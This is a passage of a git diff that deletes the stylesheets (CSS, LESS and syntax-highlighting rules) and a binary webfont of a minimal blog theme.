font-size: 32px; - line-height: 42px; -} -.unit-article .unit-head-inner, -.unit-article .entry-content, -.unit-article .misc-content, -.unit-article .unit-foot-inner { - width: 15em; - margin-left: auto; - margin-right: auto; -} -.unit-article .unit-head-inner .meta { - margin-bottom: 1.625em; -} -.layout-page .unit-body .unit-body-inner { - width: 15em; - margin-left: auto; - margin-right: auto; -} -.layout-page .unit-body .article-list .meta { - margin-bottom: 1.625em; -} -.the-footer .unit-foot { - width: 15em; - margin-left: auto; - margin-right: auto; -} -/* - IE -*/ -.ie .the-header .unit-inner { - width: 60em; - margin-top: 1.625em; - margin-bottom: 1.625em; - margin-left: auto; - margin-right: auto; -} -.ie .the-header .logo { - width: 26.25em; - float: left; -} -.ie .the-header .nav-global { - margin-top: 50px; - text-align: right; - width: 26.25em; - float: right; -} -.ie .unit-article .unit-head-inner, -.ie .unit-article .entry-content, -.ie .unit-article .misc-content, -.ie .unit-article .unit-foot-inner { - width: 60em; - margin-left: auto; - margin-right: auto; -} -.ie .unit-article .unit-head-inner h1, -.ie .unit-article .entry-content h1, -.ie .unit-article .misc-content h1, -.ie .unit-article .unit-head-inner h2, -.ie .unit-article .entry-content h2, -.ie .unit-article .misc-content h2, -.ie .unit-article .unit-head-inner h3, -.ie .unit-article .entry-content h3, -.ie .unit-article .misc-content h3, -.ie .unit-article .unit-head-inner h4, -.ie .unit-article .entry-content h4, -.ie .unit-article .misc-content h4, -.ie .unit-article .unit-head-inner h5, -.ie .unit-article .entry-content h5, -.ie .unit-article .misc-content h5, -.ie .unit-article .unit-head-inner p, -.ie .unit-article .entry-content p, -.ie .unit-article .misc-content p, -.ie .unit-article .unit-head-inner ul, -.ie .unit-article .entry-content ul, -.ie .unit-article .misc-content ul, -.ie .unit-article .unit-head-inner ol, -.ie .unit-article .entry-content ol, -.ie .unit-article .misc-content ol, -.ie .unit-article .unit-head-inner dl, -.ie .unit-article .entry-content dl, -.ie .unit-article .misc-content dl, -.ie .unit-article .unit-head-inner blockquote, -.ie .unit-article .entry-content blockquote, -.ie .unit-article .misc-content blockquote { - margin-right: 210px; -} -.ie .unit-article .unit-head-inner .meta { - width: 20.625em; - float: right; -} -.ie .layout-page .unit-body .unit-body-inner { - width: 43.125em; - margin-left: auto; - margin-right: auto; -} -.ie .layout-page .unit-body .article-list { - width: 43.125em; -} -.ie .layout-page .unit-body .article-list .meta { - width: 20.625em; - float: right; -} -.ie .the-footer .unit-foot { - width: 60em; - margin-left: auto; - margin-right: auto; -} -/* - Smartphone -*/ -@media only screen and (min-width: 320px) and (max-width: 767px) { - img { - max-width: 100%; - } -} -/* - Wide Smartphone -*/ -@media only screen and (min-width: 480px) { - .the-header .unit-inner { - width: 26.25em; - } - .the-header .logo a { - font-size: 42px; - line-height: 52px; - letter-spacing: -1px; - } - .the-header .nav-global { - margin-top: 1.625em; - letter-spacing: -0.31em; - *letter-spacing: normal; - word-spacing: -0.43em; - list-style: none; - padding-left: 0; - } - .the-header .nav-global .home:after { - margin-left: 16px; - content: "/"; - } - .the-header .nav-global li { - display: inline-block; - *display: inline; - zoom: 1; - line-height: normal; - letter-spacing: normal; - margin-right: 16px; - word-spacing: normal; - vertical-align: middle; - } - .the-header .nav-global li:last-child { - margin-right: 0; - } - .unit-article .unit-head-inner, - .unit-article .entry-content, - .unit-article .misc-content, - .unit-article .unit-foot-inner { - width: 26.25em; - } - .unit-article .unit-foot .gotop { - margin-top: 1.625em; - } - .layout-page .unit-body .unit-body-inner { - width: 26.25em; - } - .layout-page .unit-body .article-list { - width: 26.25em; - } - .the-footer .unit-foot { - width: 26.25em; - } -} -/* - Tablet -*/ -@media only screen and (min-width: 768px) { - .the-header .unit-inner { - width: 43.125em; - } - .unit-article .unit-head-inner, - .unit-article .entry-content, - .unit-article .misc-content, - .unit-article .unit-foot-inner { - width: 43.125em; - } - .unit-article .unit-head-inner .meta { - margin-bottom: 0; - text-align: right; - width: 20.625em; - float: right; - } - .layout-page .unit-body .unit-body-inner { - width: 43.125em; - } - .layout-page .unit-body .article-list { - width: 43.125em; - } - .layout-page .unit-body .article-list .meta { - margin-bottom: 0; - text-align: right; - width: 20.625em; - float: right; - } - .the-footer .unit-foot { - width: 43.125em; - } -} -/* - Not that old computer layout -*/ -@media only screen and (min-width: 1280px) { - .the-header .unit-inner { - width: 60em; - } - .the-header .logo { - width: 26.25em; - float: left; - } - .the-header .nav-global { - margin-top: 21px; - text-align: right; - width: 26.25em; - float: right; - } - .unit-article .unit-head-inner, - .unit-article .entry-content, - .unit-article .misc-content, - .unit-article .unit-foot-inner { - width: 43.125em; - } - .unit-article .unit-foot .pagination { - float: left; - width: 37.5em; - } - .unit-article .unit-foot .gotop { - float: right; - margin-top: 0; - text-align: right; - width: 20.625em; - } - .layout-page .unit-body .unit-body-inner { - width: 43.125em; - } - .layout-page .unit-body .article-list { - width: 43.125em; - } - .layout-page .unit-body .article-list .meta { - width: 20.625em; - } - .the-footer .unit-foot { - width: 60em; - } -} -/* - Huge-screen layout -*/ -@media only screen and (min-width: 1410px) { - .the-header .unit-inner { - width: 88.125em; - } - .the-header .logo { - width: 43.125em; - } - .the-header .nav-global { - width: 43.125em; - } - .unit-article .unit-head-inner, .unit-article .entry-content, .unit-article .misc-content { - width: 43.125em; - } - .unit-article .unit-foot-inner { - width: 88.125em; - } - .unit-article .unit-foot .pagination { - width: 54.375em; - } - .unit-article .unit-foot .gotop { - padding-right: 360px; - width: 9.375em; - } - .layout-page .unit-body .unit-body-inner { - width: 43.125em; - } - .layout-page .unit-body .article-list { - width: 43.125em; - } - .layout-page .unit-body .article-list .meta { - width: 20.625em; - } - .the-footer .unit-foot { - width: 88.125em; - } - .the-footer .unit-inner h1, - .the-footer .unit-inner h2, - .the-footer .unit-inner h3, - .the-footer .unit-inner h4, - .the-footer .unit-inner h5, - .the-footer .unit-inner p, - .the-footer .unit-inner ul, - .the-footer .unit-inner ol, - .the-footer .unit-inner dl, - .the-footer .unit-inner blockquote { - margin-left: 360px; - margin-right: 360px; - } -} diff --git a/assets/themes/the-minimum/css/style.less b/assets/themes/the-minimum/css/style.less deleted file mode 100644 index e378ae5..0000000 --- a/assets/themes/the-minimum/css/style.less +++ /dev/null @@ -1,321 +0,0 @@ -@import "base.css"; -@import "module.css"; -@import "_less-base.less"; - -/* LESS VARIABLES ---------------------------------------------------------------------------------- */ -@main-bg: #ffffff; -@subtle-bg: @base01; -@main-font-color: @base03; -@accent-color: @green; - -/* GLOBAL ---------------------------------------------------------------------------------- */ -html { - background-color: @main-bg; - color: @main-font-color; -} - -/* LINK */ -a { - &:link { - color: @main-font-color; - text-decoration: none; - } - &:visited { - color: darken(@main-font-color, 10%); - text-decoration: none; - } - &:hover { - color: lighten(@main-font-color, 10%); - text-decoration: none; - } -} - -/* HIGHLIGHTER */ -pre { margin-bottom: @line-height / @em; } -pre { - color: #f2f2f2; - background-color: @base02; - border: 1px solid fadein(@base02, 30%); - font-family: "Bitstream Vera Sans Mono", "Courier New", Courier, monospace; - margin-left: 0; - margin-right: 0; - padding: @line-height / @em; - overflow: auto; - -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 1px 0 rgba(255, 255, 255, 0.6); - -moz-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 1px 0 rgba(255, 255, 255, 0.6); - box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.3), 0 1px 0 rgba(255, 255, 255, 0.6); -} - -/* meta */ -.meta {} - - -/* HEADER ---------------------------------------------------------------------------------- */ -.the-header { - .logo { - font-family: @webfont; - margin: 0; - a:visited { color: @main-font-color; } - } - .nav-global { - text-transform: uppercase; - .forkme { - position: relative; - top: 2px; - } - } -} // .the-header - -/* MAIN ---------------------------------------------------------------------------------- */ -.unit-article { - - header { - background: url('@{noise-100-90-5}'); - background-repeat: repeat; - background-position: 0 0; - background-color: #BADA55; - margin-bottom: @line-height / @em; - padding-top: (@line-height / @em); - padding-bottom: (@line-height / @em) ; - h1 { - color: @main-font-color; - margin-top: 0; - margin-bottom: 0; - } - } // .article-inner header - - .entry-content { - h2, h3, h4, h5, h6 { - color: @main-font-color; - a { - &:link { - color: @main-font-color; - border: 0; - } - &:visited { - color: darken(@main-font-color, 10%); - border: 0; - } - &:hover { - color: lighten(@main-font-color, 10%); - border: 0; - } - } - } - } // .article-inner .entry-content - - .entry-content:first-child h2, - .entry-content:first-child h3, - .entry-content:first-child h4, - .entry-content:first-child h5, - .entry-content:first-child h6 { margin-top: 0; } // Canceling header margin since there is margin on header - - a { - &:link { border-bottom: 1px dotted @accent-color; } - &:visited { border-bottom: 1px dotted darken(@accent-color, 10%); } - &:hover { border-bottom: 1px dotted lighten(@accent-color, 10%); } - } - - blockquote { - border-left: 1em solid rgba(21, 25, 25, 0.8); - padding-left: 1em; - p { - margin-left: 0; - margin-right: 0; - } - } - ul, ol, dl { padding-left: 0; } - ul { list-style: square; } - ol { list-style: decimal; } - li, dt, dd { - h1, h2, h3, h4, h5, p, ul, ol, dl, blockquote, .hasGrid { margin-left: 0; margin-right: 0; } - } - p code, li code { - margin: 0 2px; - padding: 2px 5px; - white-space: nowrap; - border: 1px solid #CCC; - background-color: #F8F8F8; - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - border-radius: 3px; - -moz-background-clip: padding; -webkit-background-clip: padding-box; background-clip: padding-box; - } - - img { - display: block; - margin-left: auto; - margin-left: auto; - } - img.left { margin-right: 16px; } - img.right { margin-left: 16px; } - - .date-publish { margin-bottom: 0; } - .list-linear .list-head { margin-right: 4px; } - .list-category a, .list-tag a { - border: 0 none; - &:hover span { background-color: @orange; } - } - .list-category span, .list-tag span { - background-color: darken(@orange, 20%); - padding: 1px 5px; - -webkit-border-radius: 10px; - -moz-border-radius: 10px; - border-radius: 10px; - color: white; - text-transform: uppercase; - margin: 0 6px 0 0; - display: inline-block; - position: relative; - vertical-align: middle; - top: -2px; - font-weight: bold; - font-size: 10px; - } - .list-category { - margin-bottom: 0; - text-transform: capitalize; - - } - .list-tag { - text-transform: capitalize; - } - - .unit-foot { - background: url('@{noise-100-90-5}') repeat 0 0 #4d4d4d; - color: #fafafa; - a { - &:link { color: #fafafa; } - &:visited { color: #fafafa; } - &:hover { color: #ffffff; } - } - padding-top: @line-height / @em; - padding-bottom: @line-height / @em; - position: relative; - nav ul { - list-style: none; - li { display: inline; } - } - .gotop { margin-bottom: 0; } - } // .article-inner .unit-foot - -} // .the-article - -/* post & page */ -.layout-page { - .tag_box { - background: url('@{noise-100-90-5}') repeat 0 0 @subtle; - padding: (@line-height / @em) / 2; - list-style: none; - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - border-radius: 3px; - -moz-background-clip: padding; -webkit-background-clip: padding-box; background-clip: padding-box; - -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.2), 0 1px 0 rgba(255, 255, 255, 0.4); - -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.2), 0 1px 0 rgba(255, 255, 255, 0.4); - box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.4), 0 1px 0 rgba(255, 255, 255, 0.4); - li { - display: inline; - line-height: normal; - vertical-align: middle; - } - a { - background-color: @green; - float: left; - border: 1px solid darken(@green, 30%); - padding: 3px 6px 3px 6px; - -webkit-border-radius: 3px; - -moz-border-radius: 3px; - border-radius: 3px; - margin: 5px; - -moz-background-clip: padding; -webkit-background-clip: padding-box; background-clip: padding-box; - text-shadow: 0 -1px 0 rgba(255, 255, 255, 0.4); - -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); - -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); - box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); - -webkit-transition-duration: 0.2s; - -moz-transition-duration: 0.2s; - transition-duration: 0.2s; - -webkit-user-select:none; - -moz-user-select:none; - -ms-user-select:none; - user-select:none; - &:link {} - &:active { - -webkit-box-shadow: inset 0 1px 4px rgba(0, 0, 0, 0.6); - -moz-box-shadow: inset 0 1px 4px rgba(0, 0, 0, 0.6); - box-shadow: inset 0 1px 4px rgba(0, 0, 0, 0.6); - background: darken(@green, 40%); - border: solid darken(@green, 40%); - } - &:hover { - background-color: darken(@green, 10%); - border: 1px solid darken(@green, 40%); - span { - background-color: darken(#fafafa, 10%); - border: 1px solid darken(@green, 10%); - } - } - } - span { - background-color: #fafafa; - border: 1px solid @green; - padding: 1px 5px; - -webkit-border-radius: 10px; - -moz-border-radius: 10px; - border-radius: 10px; - color: #1a1a1a; - display: inline-block; - position: relative; - vertical-align: middle; - top: -2px; - font-weight: bold; - font-size: 10px; - -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); - -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); - box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.4), 0 1px 1px rgba(0, 0, 0, 0.2); - } - - } -} // .page-post - -/* FOOTER ------------------------------------------------ */ -.the-footer { - background-color: #1a1a1a; - background-color: rgba(21, 25, 25, 0.8); - color: #fafafa; - color: rgba(250, 250, 250, 0.8); - padding-bottom: @line-height / @em; - a { - &:link { - color: @accent-color; - border: 0; - } - &:visited { - color: darken(@accent-color, 10%); - border: 0; - } - &:hover { - color: lighten(@accent-color, 10%); - border: 0; - } - } - ul { - list-style: square; - padding-left: 1em; - } - address { font-style: normal; } - .license { - clear: both; - p { margin-bottom: 0; } - } -} - -@import "_layout.less"; -@import "syntaxhighlighter.css"; -@import "helper.css"; diff --git a/assets/themes/the-minimum/css/syntaxhighlighter.css b/assets/themes/the-minimum/css/syntaxhighlighter.css deleted file mode 100644 index dda10da..0000000 --- a/assets/themes/the-minimum/css/syntaxhighlighter.css +++ /dev/null @@ -1,68 +0,0 @@ -pre .c { color: #999999; font-style: italic } /* Comment */ -pre .err { color: #a61717; background-color: #e3d2d2 } /* Error */ -pre .g { color: #d0d0d0 } /* Generic */ -pre .k { color: #6ab825; font-weight: bold } /* Keyword */ -pre .l { color: #d0d0d0 } /* Literal */ -pre .n { color: #d0d0d0 } /* Name */ -pre .o { color: #d0d0d0 } /* Operator */ -pre .x { color: #d0d0d0 } /* Other */ -pre .p { color: #d0d0d0 } /* Punctuation */ -pre .cm { color: #999999; font-style: italic } /* Comment.Multiline */ -pre .cp { color: #cd2828; font-weight: bold } /* Comment.Preproc */ -pre .c1 { color: #999999; font-style: italic } /* Comment.Single */ -pre .cs { color: #e50808; font-weight: bold; background-color: #520000 } /* Comment.Special */ -pre .gd { color: #d22323 } /* Generic.Deleted */ -pre .ge { color: #d0d0d0; font-style: italic } /* Generic.Emph */ -pre .gr { color: #d22323 } /* Generic.Error */ -pre .gh { color: #ffffff; font-weight: bold } /* Generic.Heading */ -pre .gi { color: #589819 } /* Generic.Inserted */ -pre .go { color: #cccccc } /* Generic.Output */ -pre .gp { color: #aaaaaa } /* Generic.Prompt */ -pre .gs { color: #d0d0d0; font-weight: bold } /* Generic.Strong */ -pre .gu { color: #ffffff; text-decoration: underline } /* Generic.Subheading */ -pre .gt { color: #d22323 } /* Generic.Traceback */ -pre .kc { color: #6ab825; font-weight: bold } /* Keyword.Constant */ -pre .kd { color: #6ab825; font-weight: bold } /* Keyword.Declaration */ -pre .kn { color: #6ab825; font-weight: bold } /* Keyword.Namespace */ -pre .kp { color: #6ab825 } /* Keyword.Pseudo */ -pre .kr { color: #6ab825; font-weight: bold } /* Keyword.Reserved */ -pre .kt { color: #6ab825; font-weight: bold } /* Keyword.Type */ -pre .ld { color: #d0d0d0 } /* Literal.Date */ -pre .m { color: #3677a9 } /* Literal.Number */ -pre .s { color: #ed9d13 } /* Literal.String */ -pre .na { color: #bbbbbb } /* Name.Attribute */ -pre .nb { color: #24909d } /* Name.Builtin */ -pre .nc { color: #447fcf; text-decoration: underline } /* Name.Class */ -pre .no { color: #40ffff } /* Name.Constant */ -pre .nd { color: #ffa500 } /* Name.Decorator */ -pre .ni { color: #d0d0d0 } /* Name.Entity */ -pre .ne { color: #bbbbbb } /* Name.Exception */ -pre .nf { color: #447fcf } /* Name.Function */ -pre .nl { color: #d0d0d0 } /* Name.Label */ -pre .nn { color: #447fcf; text-decoration: underline } /* Name.Namespace */ -pre .nx { color: #d0d0d0 } /* Name.Other */ -pre .py { color: #d0d0d0 } /* Name.Property */ -pre .nt { color: #6ab825; font-weight: bold } /* Name.Tag */ -pre .nv { color: #40ffff } /* Name.Variable */ -pre .ow { color: #6ab825; font-weight: bold } /* Operator.Word */ -pre .w { color: #666666 } /* Text.Whitespace */ -pre .mf { color: #3677a9 } /* Literal.Number.Float */ -pre .mh { color: #3677a9 } /* Literal.Number.Hex */ -pre .mi { color: #3677a9 } /* Literal.Number.Integer */ -pre .mo { color: #3677a9 } /* Literal.Number.Oct */ -pre .sb { color: #ed9d13 } /* Literal.String.Backtick */ -pre .sc { color: #ed9d13 } /* Literal.String.Char */ -pre .sd { color: #ed9d13 } /* Literal.String.Doc */ -pre .s2 { color: #ed9d13 } /* Literal.String.Double */ -pre .se { color: #ed9d13 } /* Literal.String.Escape */ -pre .sh { color: #ed9d13 } /* Literal.String.Heredoc */ -pre .si { color: #ed9d13 } /* Literal.String.Interpol */ -pre .sx { color: #ffa500 } /* Literal.String.Other */ -pre .sr { color: #ed9d13 } /* Literal.String.Regex */ -pre .s1 { color: #ed9d13 } /* Literal.String.Single */ -pre .ss { color: #ed9d13 } /* Literal.String.Symbol */ -pre .bp { color: #24909d } /* Name.Builtin.Pseudo */ -pre .vc { color: #40ffff } /* Name.Variable.Class */ -pre .vg { color: #40ffff } /* Name.Variable.Global */ -pre .vi { color: #40ffff } /* Name.Variable.Instance */ -pre .il { color: #3677a9 } /* Literal.Number.Integer.Long */ diff --git a/assets/themes/the-minimum/font/Junction-webfont.eot b/assets/themes/the-minimum/font/Junction-webfont.eot deleted file mode 100755 index ad8eb0cc3a8f35842d540657233fddcc5b29892a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 23668 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 